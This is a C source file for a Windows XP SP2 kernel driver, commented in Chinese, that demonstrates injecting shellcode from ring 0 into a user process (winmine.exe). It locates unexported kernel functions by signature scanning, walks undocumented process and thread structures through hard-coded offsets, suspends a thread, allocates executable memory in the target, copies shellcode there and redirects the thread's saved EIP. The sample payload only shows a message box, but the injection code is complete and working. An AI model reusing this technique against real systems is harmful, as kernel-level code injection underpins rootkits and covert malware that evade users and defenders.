/*************************************************************************************** * * 做者: Fypher [nmn714@163.com] * http://hi.baidu.com/nmn714 * * 時間: 2009/12/29 * * 模塊: InjectRing3.c [sys module] * * 平臺: Windows XP SP2 * * 描述: * Ring0 注入 Ring3 的一種新方法。 * 掛起ring3線程後,修改其TrapFrame裏的eip,再恢復其執行。 * * 注意: * 本程序主要起示例做用,懶得麻煩,因此有些地方使用了一些不太穩定的作法, * 好比在枚舉進程和模塊時直接讀鏈表。改爲ZwQueryXXXX會比較好 * ****************************************************************************************/ #include <ntifs.h> typedef struct _X86_KTRAP_FRAME { ULONG DbgEbp; ULONG DbgEip; ULONG DbgArgMark; ULONG DbgArgPointer; ULONG TempSegCs; ULONG TempEsp; ULONG Dr0; ULONG Dr1; ULONG Dr2; ULONG Dr3; ULONG Dr6; ULONG Dr7; ULONG SegGs; ULONG SegEs; ULONG SegDs; ULONG Edx; ULONG Ecx; ULONG Eax; ULONG PreviousPreviousMode; ULONG ExceptionList; ULONG SegFs; ULONG Edi; ULONG Esi; ULONG Ebx; ULONG Ebp; ULONG ErrCode; ULONG Eip; ULONG SegCs; ULONG EFlags; ULONG HardwareEsp; ULONG HardwareSegSs; ULONG V86Es; ULONG V86Ds; ULONG V86Fs; ULONG V86Gs; } X86_KTRAP_FRAME, *PX86_KTRAP_FRAME; typedef struct _MODULE_ENTRY { LIST_ENTRY le_mod; ULONG unknown[4]; ULONG base; ULONG driver_start; ULONG unk1; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; //....... } MODULE_ENTRY, *PMODULE_ENTRY; typedef ULONG (*FuncType)(PETHREAD Thread); FuncType KeSuspendThread = NULL; FuncType KeResumeThread = NULL; //////////////////////////////////////////////// // // 被注入到ring3進程的代碼 // //////////////////////////////////////////////// _declspec (naked) void ShellCode() { _asm { push eax // 彈個MessageBox爲例 push 0 push 0 push 0 push 0 mov eax, 0x77D66484 // MessageBoxW 的地址,XP SP2 call eax pop eax // jmp ds:12345678H, 絕對地址跳轉 _emit 0xEA _emit 0x78 _emit 0x56 _emit 0x34 _emit 0x12 _emit 0x1B _emit 0x00 } } /////////////////////////////////////////////////////// // // 特徵碼搜索,查找KeSuspendThread和KeResumeThread // /////////////////////////////////////////////////////// ULONG FindFunc(PDRIVER_OBJECT DriverObject){ UNICODE_STRING uniModuleName; PMODULE_ENTRY PsLoadedModuleList,pmcurrent; ULONG ModuleStart = 0, ModuleEnd = 0; ULONG i; ULONG suspend1 = 0x8b55ff8b, suspend2 = 0x0cec83ec, suspend3 = 0x758b5653, suspend4 = 0x8e8d5708; //SP2 ULONG resume1 = 0x8b55ff8b, resume2 = 0x335651ec , resume3 = 0x8815ffc9 , resume4 = 0x8b804d90; //SP2 // 先找ntoskrnl.exe模塊,經過ZwQuerySystemInformation來查找更穩定一些 // 不過本人很討厭那個繁瑣的函數…… PsLoadedModuleList = pmcurrent = *((PMODULE_ENTRY*)((ULONG)DriverObject + 0x14)); if (PsLoadedModuleList == NULL){ return FALSE; } RtlInitUnicodeString(&uniModuleName,L"ntoskrnl.exe"); do { if ((pmcurrent->unk1 != 0x00000000) && (pmcurrent->driver_Path.Length != 0)){ if (!RtlCompareUnicodeString(&uniModuleName, &(pmcurrent->driver_Name), FALSE)){ ModuleStart = pmcurrent->base; ModuleEnd = ModuleStart + pmcurrent->unk1; break; } } pmcurrent = (MODULE_ENTRY*)pmcurrent->le_mod.Flink; } while((PMODULE_ENTRY)pmcurrent != PsLoadedModuleList); if(!ModuleStart || !ModuleEnd) { return FALSE; } // 在ntoskrnl.exe中搜索特徵碼找到KeSuspendThread和KeResumeThread for( i = ModuleStart; i <= ModuleEnd; i++) { if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+12)) ){ if( (*(PULONG)i == suspend1) && (*(PULONG)(i+4) == suspend2) && (*(PULONG)(i+8) == suspend3) && (*(PULONG)(i+12) == suspend4) ) { KeSuspendThread = (FuncType)i; if ( KeResumeThread != NULL ) return TRUE; } else if( (*(PULONG)i == resume1) && (*(PULONG)(i+4) == resume2) && (*(PULONG)(i+8) == resume3) && (*(PULONG)(i+12) == resume4) ) { KeResumeThread = (FuncType)i; if ( KeSuspendThread != NULL ) return TRUE; } } } return FALSE; } ///////////////////////////////////////////////////////////////// //// //// 注入ShellCode到線程,將ShellCode拷貝到「飛地」中, //// 比較方便,避免是分配內存和AttachProcess,可是在非 //// Debug的系統模式下,會引起DEP的強烈不滿 //// ///////////////////////////////////////////////////////////////// //VOID InjectShellCode(PETHREAD pThread) { // ULONG i; // PX86_KTRAP_FRAME pTrapFrame; // DbgPrint("Inject Start\n"); // // // 在try塊中掛起線程,看WRK發現SuspendThread失敗時會拋異常 // __try { // KeSuspendThread(pThread); // } // __except(1) { // return; // } // // // PTrapFrame中就是該線程的各個寄存器的值 // pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + 0x134); // // // 將ShellCode中的0x12345678改爲eip,爲了ShellCode執行完後自動跳回 // for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) { // if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){ // if ( *(PULONG)i == 0x12345678 ) { // DbgPrint("find modify point\n"); // *(PULONG)i = pTrapFrame->Eip; // break; // } // } // } // // // 拷貝ShellCode到「飛地」(使用內核地址) // RtlCopyMemory( (PVOID)0xffdf0800, ShellCode, 0x20 ); // // // pTrapFrame->EIP指向「飛地」(使用用戶態地址) // pTrapFrame->Eip = 0x7ffe0800; // // // 恢復線程執行 // KeResumeThread(pThread); // DbgPrint("Inject End\n"); //} /////////////////////////////////////////////////////////////// // // 注入ShellCode到線程,分配內存來拷貝ShellCode // /////////////////////////////////////////////////////////////// VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess) { ULONG i; PX86_KTRAP_FRAME pTrapFrame; PCLIENT_ID pCid; OBJECT_ATTRIBUTES oa; HANDLE hProcess; NTSTATUS ntstatus; DbgPrint("Inject Start\n"); // 在try塊中掛起線程,看WRK發現SuspendThread失敗時會拋異常 __try { KeSuspendThread(pThread); } __except(1) { return; } // PTrapFrame中就是該線程的各個寄存器的值 pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + 0x134); // 將ShellCode中的0x12345678改爲eip,爲了ShellCode執行完後自動跳回 for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) { if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){ if ( *(PULONG)i == 0x12345678 ) { DbgPrint("find modify point\n"); *(PULONG)i = pTrapFrame->Eip; break; } } } // 下面的代碼是分配空間來放置ShellCode // 調用一些相應函數來實現更好,我比較懶,就硬編碼了 InitializeObjectAttributes(&oa,0,0,0,0); pCid = (CLIENT_ID*)((ULONG)pThread + 0x1ec); // Cid XP SP2 ntstatus = ZwOpenProcess( &hProcess, PROCESS_ALL_ACCESS, &oa, pCid ); if ( NT_SUCCESS(ntstatus) ) { PVOID pBuff = NULL; SIZE_T size = 0x20; ntstatus = NtAllocateVirtualMemory( hProcess, &pBuff, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( NT_SUCCESS(ntstatus) ) { KAPC_STATE kapc; // 拷貝ShellCode到目標進程中去 KeStackAttachProcess(pProcess,&kapc); RtlCopyMemory(pBuff,ShellCode,size); KeUnstackDetachProcess (&kapc); // pTrapFrame->Eip指向ShellCode pTrapFrame->Eip = (ULONG)pBuff; } ZwClose(hProcess); } // 恢復線程執行 KeResumeThread(pThread); DbgPrint("Inject End\n"); } //////////////////////////////////////////////// // // 注入ShellCode到進程 // //////////////////////////////////////////////// VOID Inject(char* strProc, int len) { PEPROCESS pProcess; PETHREAD pThread; PLIST_ENTRY pListHead, pNextEntry; PLIST_ENTRY pThListHead, pThNextEntry; pProcess = PsGetCurrentProcess(); pListHead = (PLIST_ENTRY)((ULONG)pProcess + 0x88); //ActiveProcessLinks pNextEntry = pListHead; // 先找到要注入的進程,經過ZwQuerySystemInformation來查找更穩定一些 // 不過本人很討厭那個繁瑣的函數…… do { pProcess = (PEPROCESS)((ULONG)pNextEntry - 0x88); if ( !_strnicmp((char*)pProcess + 0x174, strProc, len) ) { DbgPrint("find process\n"); pThListHead = (PLIST_ENTRY)((ULONG)pProcess + 0x190); // ThreadListHead, XP SP2 pThNextEntry = pThListHead->Flink; while ( pThNextEntry != pThListHead) { // 接着查找符合條件的線程 UCHAR SuspendCount; ULONG CrossThreadFlags; pThread = (PETHREAD)((ULONG)pThNextEntry - 0x22c); // ThreadListEntry, XP SP2 SuspendCount = *(PUCHAR)((ULONG)pThread + 0x1b9); CrossThreadFlags = *(PULONG)((ULONG)pThread + 0x248); if( !SuspendCount && !(CrossThreadFlags & 0x13) ) { // 非Suspend,非退出態,非內核線程 DbgPrint("find thread\n"); // 注入找到的線程 InjectShellCode(pThread,pProcess); break; } pThNextEntry = pThNextEntry->Flink; } break; } pNextEntry = pNextEntry->Flink; } while(pNextEntry != pListHead); } //////////////////////////////////////////////// // // 驅動卸載歷程 // //////////////////////////////////////////////// VOID OnUnload(IN PDRIVER_OBJECT o){ DbgPrint("Fypher's ring3injector end!\n"); return; } //////////////////////////////////////////////// // // 驅動加載歷程 // //////////////////////////////////////////////// NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath){ char* strProc = "winmine.exe"; DriverObject->DriverUnload=OnUnload; DbgPrint("Fypher's ring3injector start!\n"); if ( !FindFunc(DriverObject) ) { DbgPrint("Find KexxxThread failed!\n"); return STATUS_UNSUCCESSFUL; } Inject(strProc, strlen(strProc)); return STATUS_SUCCESS; }